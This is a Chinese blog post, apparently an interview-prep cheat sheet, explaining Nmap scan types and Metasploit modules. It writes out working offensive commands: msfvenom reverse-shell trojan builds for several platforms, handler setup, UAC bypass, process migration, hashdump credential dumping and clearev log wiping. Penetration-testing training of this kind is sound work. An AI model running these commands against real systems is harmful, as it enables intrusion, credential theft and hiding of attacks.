【Nmap与Metasploit常用命令】


前言

网络安全面试题


题目


1.NMAP工具的原理,常用参数及原理

Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

原理:
Nmap是Linux下一款开源免费的网络发现和安全审计工具。它使用原始IP报文来发现网络上有哪些主机,这些主机提供什么服务(应用程序名和版本),服务运行在什么操作系统,它们使用什么类型的报文过滤器/防火墙,以及一些其他功能。

首先介绍一下端口的几种状态
端口的六个状态
⚫open:端口是开放的
⚫closed:端口是关闭的
⚫filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态
⚫unfiltered:端口没有被屏蔽,但是否开放需要进一步确定
⚫open|filtered:端口是开放的或被屏蔽
⚫closed|filtered:端口是关闭的或被屏蔽

常用参数及原理:

-sP/-sn:Ping扫描(不进行端口扫描)
-p:指定扫描的目标端口
-sT/-sS/-sA:TCP connect/TCP SYN/TCP ACK扫描
-sU:UDP扫描
-O:操作系统侦测
-sV:应用程序版本探测
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程
--dns-servers <serv1[,serv2],...>: 指定DNS服务器。 
--system-dns: 指定使用系统的DNS服务器 
--traceroute: 追踪每个路由节点
--packet-trace  追踪包

TCP SYN原理分析:

nmap -p 80 -sS [靶机IP]

Nmap向目标端口发送TCP SYN报文,如果目标机返回TCP SYN+ACK报文,则说明目标端口处于开放状态,同时Nmap会紧接着向目标机发送TCP RST报文以重置此连接;如果目标机返回TCP RST+ACK报文,则说明目标端口处于关闭状态。
示意图

TCP connect原理分析:

nmap -p 80 -sT [靶机IP]

Nmap向目标端口发送TCP SYN报文,如果目标机返回TCP SYN+ACK报文,则说明目标端口处于开放状态,同时Nmap会紧接着向目标机依次发送TCP ACK、TCP RST+ACK完成三次握手和重置此连接;如果目标机返回TCP RST+ACK报文,则说明目标端口处于关闭状态。

TCP ACK原理分析:

nmap -p 80 -sA [靶机IP]

Nmap向目标端口发送TCP ACK报文,无论目标端口是否处于开放状态,目标机都会返回TCP RST报文。如果Nmap主机能收到此TCP RST报文,则说明目标端口未被防火墙屏蔽。
TCP ACK扫描只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。

其他功能:
规避FW/ID技术
-T(0-5) :控制扫描的速断(0=最慢、5=最快)

nmap -T 3 x.x.x.x

-D : 源IP地址(使用任意假IP) 欺骗。

nmap -D RND:3 x.x.x.x 随机三个假IP去扫描  

-sI: 选个同网段空闲的IP做源IP去扫描–源IP欺骗。

 nmap -sI 空闲IP x.x.x.x

–source-port 源端口欺骗
–spoof-mac 源mac欺骗

nmap --spoof-mac 0  x.x.x.x            随机MAC去扫描
nmap --spoof-mac  aa:bb:cc:dd:ff:ee x.x.x.x  指定MAC扫描

nmap调用NSE脚本应用
脚本存放目录:/usr/share/nmap/scripts/
—参数:–script
–script vuln 扫描是否存在常规漏洞

 nmap  --script vuln x.x.x.x

–script brute对数据库、smb、snmp简单的暴力破解

 nmap --script brute x.x.x.x

2.Metasploit常用模块和命令

➢exploits(渗透攻击/漏洞利用模块)
⚫渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
⚫渗透攻击模块是Metasploit框架中最核心的功能组件

➢payloads(攻击载荷模块)
⚫攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。
⚫攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。

➢auxiliary(辅助模块)
⚫该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试
网络主机存活扫描,Web目录扫描,FTP登录密码爆破

例如端口扫描:

search portscan
use 5 //tcp扫描模块
show options 
set RHOSTS x.x.x.x  //设置待扫描的IP地址、
set PORTS 1-500 //设置扫描端口范围、
set THREADS 20 //设置扫描线程,线程数量越高,扫描的速度越多
run

➢nops(空指令模块)
⚫空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
⚫在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。
⚫Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

➢encoders(编码器模块)
⚫编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务:一是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;二是对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断

➢post(后渗透攻击模块)
⚫后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步横向拓展、实施跳板攻击等。

meterpreter常用命令

➢pwd   //查看当前工作目录
➢sysinfo  //查看系统信息
➢getuid   //获取当前权限的用户id
➢ps   //查看当前目标机上运行的进程列表和pid
➢kill  2768 //杀死进程(pid)2768
➢getsystem  //获取system权限
➢screenshot //截取目标主机当前屏幕
➢hashdump   //获取用户名与hash口令
➢shell   //获取目标主机shell
➢upload  //上传一个文件
➢download  //下载一个文件
➢execute   //执行目标系统中的文件(-f指定文件,-i执行可交互模式,-H隐藏窗口)
➢clearev   //清除日志
➢background  //将meterpreter放入后台(使用sessions-i重新连接到会话)

常用命令:
➢Terminal终端下的常用命令

⚫msfdb  init    //msf数据库初始化
⚫msfdb  delete   //删除msf数据库并停止使用
⚫msfdb  start   //启动msf数据库
⚫msfdb  stop   //停止msf数据库
⚫msfconsole    //打开msf终端

➢msf终端下的常用命令

⚫db_status  //查看msf数据库连接状态
⚫db_nmap    //调用nmap扫描,并将扫描结果存入数据库
⚫search    //搜索含有关键字的模块
⚫use    //选择使用一个模块
⚫show payload    //显示该模块支持的payload
⚫show options    //显示该模块需要设置的参数
⚫info    //查看详细信息
⚫set    //使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)
⚫back    //返回上级状态
⚫exploit/run    //两个命令都表示运行攻击模块
⚫sessions //查看当前连接的会话

当利用渗透模块来到meterpreter后
手动提权:
将session放到后台,使用local_exploit_suggester查询可用的exp

background
use local_exploit_suggester
show options
set  session 4
run

bypass_uac(用户帐户控制)提权:

search bypassuac
ues exploit/windows/local/bypassuac
set payload windows/x64/meterpreter/reverse_tcp
set  session 4
run

再进程迁移:
在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个 Shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移1

run post/windows/manage/migrate

Msfvenom (毒液)制作木马并监听上线:
木马生成方法:
win64系统:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -f exe > shell.exe.

win32系统:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -a x86 --platform Windows -f exe > shell.exe

Liunx系统:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx  -f elf > shell.elf

MacOS:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxx -f macho > shell.macho

将木马上传到目标主机:
#msfconsole
use exploit/multi/handler //加载模块
set payload android/meterpreter/reverse_tcp //选择Payload
show options //查看参数设置
set LHOST x.x.x.x //这里的地址设置成我们刚才生成木马的IP地址(kali的ip)
set LPORT xxx //这里的端口设置成刚才我们生成木马所监听的端口
exploit //开始执行漏洞,开始监听,等待上线

➢evasion(规避模块)
⚫规避模块主要用于规避Windows Defender防火墙、Windows应用程序控制策略(applocker)等的检查。

利用Metasploit进行渗透测试的一般流程
1.扫描目标机系统,寻找可用漏洞
2.选择并配置一个渗透攻击(漏洞利用)模块(exploits)
3.选择并配置一个攻击载荷模块(payloads)
4.选择一种编码技术(encoders),用来绕过杀毒软件的查杀
5.执行渗透攻击后渗透阶段的操作


总结

本期主要介绍了nmap和metasploit的相关知识

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/126109108
今日推荐